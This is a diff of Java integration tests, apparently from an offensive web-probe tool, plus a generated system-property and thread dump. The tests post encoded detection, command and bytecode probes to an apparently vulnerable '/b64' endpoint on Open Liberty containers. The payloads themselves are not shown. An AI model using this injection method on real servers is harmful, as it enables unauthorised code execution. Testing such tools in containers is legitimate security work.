.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
@AfterAll
public static void tearDown() {
System.out.println(container.getLogs());
}
@Test
void testJDK() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
assertEquals("JRE|1.8.0_211|52", data);
}
@Test
@SneakyThrows
void testBasicInfo() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
}
@Test
void testServerDetection() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.WebSphere, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
}
@@ -0,0 +1,81 @@
package com.reajason.javaweb.integration.probe.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Duration;
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty20ContainerTest {
public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
@AfterAll
public static void tearDown() {
System.out.println(container.getLogs());
}
@Test
void testJDK() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
assertEquals("JRE|1.8.0_292|52", data);
}
@Test
@SneakyThrows
void testBasicInfo() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
}
@Test
void testServerDetection() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.WebSphere, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
}
@@ -0,0 +1,81 @@
package com.reajason.javaweb.integration.probe.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Duration;
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty22ContainerTest {
public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
@AfterAll
public static void tearDown() {
System.out.println(container.getLogs());
}
@Test
void testJDK() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
assertEquals("JRE|11.0.19|55", data);
}
@Test
@SneakyThrows
void testBasicInfo() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
}
@Test
void testServerDetection() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.WebSphere, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
}
@@ -0,0 +1,81 @@
package com.reajason.javaweb.integration.probe.websphere;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ProbeAssertion;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.integration.probe.DetectionTool;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.BindMode;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.time.Duration;
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Testcontainers
@Slf4j
public class OpenLiberty25ContainerTest {
public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withFileSystemBind(warFile.getFilesystemPath(), "/config/dropins/app.war", BindMode.READ_WRITE)
.waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.withExposedPorts(9080)
.withPrivilegedMode(true);
@AfterAll
public static void tearDown() {
System.out.println(container.getLogs());
}
@Test
void testJDK() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection());
assertEquals("JRE|17.0.17|61", data);
}
@Test
@SneakyThrows
void testBasicInfo() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter());
Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data);
}
@Test
void testServerDetection() {
String url = getUrlFromWAS(container);
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
assertEquals(Server.WebSphere, data);
}
@Test
@SneakyThrows
void testCommandReqHeaderResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
@Test
@SneakyThrows
void testBytecodeReqParamResponseBody() {
String url = getUrlFromWAS(container);
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
}
}
@@ -0,0 +1,722 @@
# Generated At 2025-12-21 06:35:05
SystemProps:
java.vendor: IBM Corporation
sun.java.launcher: SUN_STANDARD
shared.resource.dir: /opt/ol/wlp/usr/shared/resources/
os.name: Linux
kernel.launch.time: 376323694241719
sun.boot.class.path: /opt/ibm/java/jre/lib/amd64/compressedrefs/jclSC180/vm.jar:/opt/ibm/java/jre/lib/se-service.jar:/opt/ibm/java/jre/lib/math.jar:/opt/ibm/java/jre/lib/ibmorb.jar:/opt/ibm/java/jre/lib/ibmorbapi.jar:/opt/ibm/java/jre/lib/ibmcfw.jar:/opt/ibm/java/jre/lib/ibmpkcs.jar:/opt/ibm/java/jre/lib/ibmcertpathfw.jar:/opt/ibm/java/jre/lib/ibmjgssfw.jar:/opt/ibm/java/jre/lib/ibmjssefw.jar:/opt/ibm/java/jre/lib/ibmsaslfw.jar:/opt/ibm/java/jre/lib/ibmjcefw.jar:/opt/ibm/java/jre/lib/ibmjgssprovider.jar:/opt/ibm/java/jre/lib/ibmjsseprovider2.jar:/opt/ibm/java/jre/lib/ibmcertpathprovider.jar:/opt/ibm/java/jre/lib/xmldsigfw.jar:/opt/ibm/java/jre/lib/xml.jar:/opt/ibm/java/jre/lib/charsets.jar:/opt/ibm/java/jre/lib/resources.jar:/opt/ibm/java/jre/lib/rt.jar:/opt/ibm/java/jre/lib/dataaccess.jar
java.vm.specification.vendor: Oracle Corporation
shared.app.dir: /opt/ol/wlp/usr/shared/apps/
java.runtime.version: 8.0.5.36 - pxa6480sr5fp36-20190510_01(SR5 FP36)
wlp.lib.dir: /opt/ol/wlp/lib/
user.name: default
java.compiler: j9jit29
os.encoding: ANSI_X3.4-1968
com.ibm.util.extralibs.properties:
com.ibm.jcl.checkClassPath:
server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/
user.language: en
com.ibm.oti.vm.bootstrap.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64
sun.boot.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64
wlp.install.dir: /opt/ol/wlp/
server.output.dir: /opt/ol/wlp/output/defaultServer/
java.version: 1.8.0_211
java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager
user.timezone: UTC
com.ibm.system.agent.path: /opt/ibm/java/jre/lib/amd64
sun.arch.data.model: 64
com.ibm.zero.version: 2
java.endorsed.dirs: /opt/ibm/java/jre/lib/endorsed
com.ibm.oti.vm.library.version: 29
sun.jnu.encoding: ANSI_X3.4-1968
file.encoding.pkg: sun.io
file.separator: /
java.specification.name: Java Platform API Specification
java.class.version: 52.0
user.country: US
java.home: /opt/ibm/java/jre
java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20190502_415899 (JIT enabled, AOT enabled)
OpenJ9 - 46e57f9
OMR - 06a046a
IBM - 0b909bf
os.version: 6.17.8-orbstack-00308-g8f9c941121b1
java.awt.fonts:
path.separator: :
org.apache.aries.blueprint.preemptiveShutdown: false
java.vm.version: 2.9
user.variant:
wlp.user.dir.isDefault: true
ibm.cds.suppresserrors: true
java.awt.printerjob: sun.print.PSPrinterJob
sun.io.unicode.encoding: UnicodeLittle
awt.toolkit: sun.awt.X11.XToolkit
ibm.signalhandling.sigint: true
org.apache.cxf.stax.allowInsecureParser: 1
user.home: /home/default
com.ibm.cpu.endian: little
java.specification.vendor: Oracle Corporation
ibm.signalhandling.sigchain: true
org.jboss.weld.xml.disableValidating: true
java.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64:/usr/lib64:/usr/lib
java.vendor.url: http://www.ibm.com
java.vm.vendor: IBM Corporation
java.fullversion: 8.0.5.36 - pxa6480sr5fp36-20190510_01(SR5 FP36)
JRE 1.8.0 Linux amd64-64-Bit Compressed References 20190502_415899 (JIT enabled, AOT enabled)
OpenJ9 - 46e57f9
OMR - 06a046a
IBM - 0b909bf
java.runtime.name: Java(TM) SE Runtime Environment
sun.net.http.retryPost: false
sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer
java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar
server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/
wlp.user.dir: /opt/ol/wlp/usr/
java.vm.specification.name: Java Virtual Machine Specification
sun.java.launcher.pid: 1
java.vm.specification.version: 1.8
sun.cpu.endian: little
java.awt.headless: true
java.io.tmpdir: /tmp
ibm.system.encoding: ANSI_X3.4-1968
shared.config.dir: /opt/ol/wlp/usr/shared/config/
os.arch: amd64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
ibm.signalhandling.rs: false
java.ext.dirs: /opt/ibm/java/jre/lib/ext
user.dir: /opt/ol/wlp/output/defaultServer
line.separator:
java.vm.name: IBM J9 VM
com.ibm.oti.shared.enabled: true
com.ibm.vm.bitmode: 64
wlp.process.type: server
javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder
file.encoding: ANSI_X3.4-1968
java.specification.version: 1.8
com.ibm.oti.configuration: scar
wlp.server.name: defaultServer
===========================================
ThreadStacks:
"Default Executor-thread-9" #60 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5c2a3d77
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Inbound Write Selector.1" #57 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109)
at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144)
at java.lang.Thread.run(Thread.java:812)
"Concurrent Mark Helper" #14 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-7" #55 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@769eb7a8
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-6" #53 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@83a8d8d4
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-15" #67 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@8759118d
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Timer-3" #54 daemon [WAITING] on java.util.TaskQueue@7d53a149
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at java.util.TimerThread.mainLoop(Timer.java:537)
at java.util.TimerThread.run(Timer.java:516)
"Default Executor-thread-5" #52 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f0adbd1a
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Timer-0" #29 [TIMED_WAITING] on java.util.TaskQueue@2320fd74
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:563)
at java.util.TimerThread.run(Timer.java:516)
"Default Executor-thread-18" #71 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c254df08
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-1" #47 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@a319b15b
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Signal Dispatcher" #2 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at com.ibm.misc.SignalDispatcher.waitForSignal(Native Method)
at com.ibm.misc.SignalDispatcher.run(SignalDispatcher.java:73)
"GC Slave" #20 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"GC Slave" #22 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"GC Slave" #21 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"GC Slave" #16 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Default Executor-thread-11" #63 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@94ad3669
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"GC Slave" #24 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"JIT Compilation Thread-5 Suspended" #9 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"JIT Compilation Thread-0" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Timer-1" #31 [TIMED_WAITING] on java.util.TaskQueue@fc230662
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:563)
at java.util.TimerThread.run(Timer.java:516)
"JIT Compilation Thread-2 Suspended" #6 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Bundle File Closer" #49 daemon [TIMED_WAITING] on org.eclipse.osgi.storage.bundlefile.ZipBundleFile@3c7c8ade
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at org.eclipse.osgi.storage.bundlefile.ZipBundleFile.close(ZipBundleFile.java:311)
at org.eclipse.osgi.storage.bundlefile.MRUBundleFileList.dispatchEvent(MRUBundleFileList.java:178)
at org.eclipse.osgi.storage.bundlefile.MRUBundleFileList.dispatchEvent(MRUBundleFileList.java:1)
at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:230)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:340)
"process reaper" #62 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@e9523894
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:471)
at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:373)
at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:952)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1084)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-13" #65 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6be575c7
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"IProfiler" #13 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"JIT Compilation Thread-1 Suspended" #5 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Config-Thread-12" #42 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2596ef86
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089)
at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:478)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1084)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-22" #77 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@46f4f614
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-17" #70 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@aa2fc3fa
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-3" #50 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@e7f4910a
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Default Executor-thread-19" #72 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d386e142
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176)
at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.lang.Thread.run(Thread.java:812)
"Timer-4" #68 daemon [TIMED_WAITING] on java.util.TaskQueue@7ec7f87
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:218)
at java.util.TimerThread.mainLoop(Timer.java:563)
at java.util.TimerThread.run(Timer.java:516)
"Framework Event Dispatcher: org.eclipse.osgi.internal.framework.EquinoxEventPublisher@6840e7d3" #34 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@555dbb98
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:189)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400)
at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:336)
"GC Slave" #17 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"JIT-SamplerThread" #12 daemon [TIMED_WAITING]
java.lang.Thread.State: TIMED_WAITING
"GC Slave" #15 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"kernel-command-listener" #36 [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:478)
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:287)
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.acceptAndExecuteCommand(ServerCommandListener.java:337)
at com.ibm.ws.kernel.launch.internal.ServerCommandListener.access$100(ServerCommandListener.java:43)
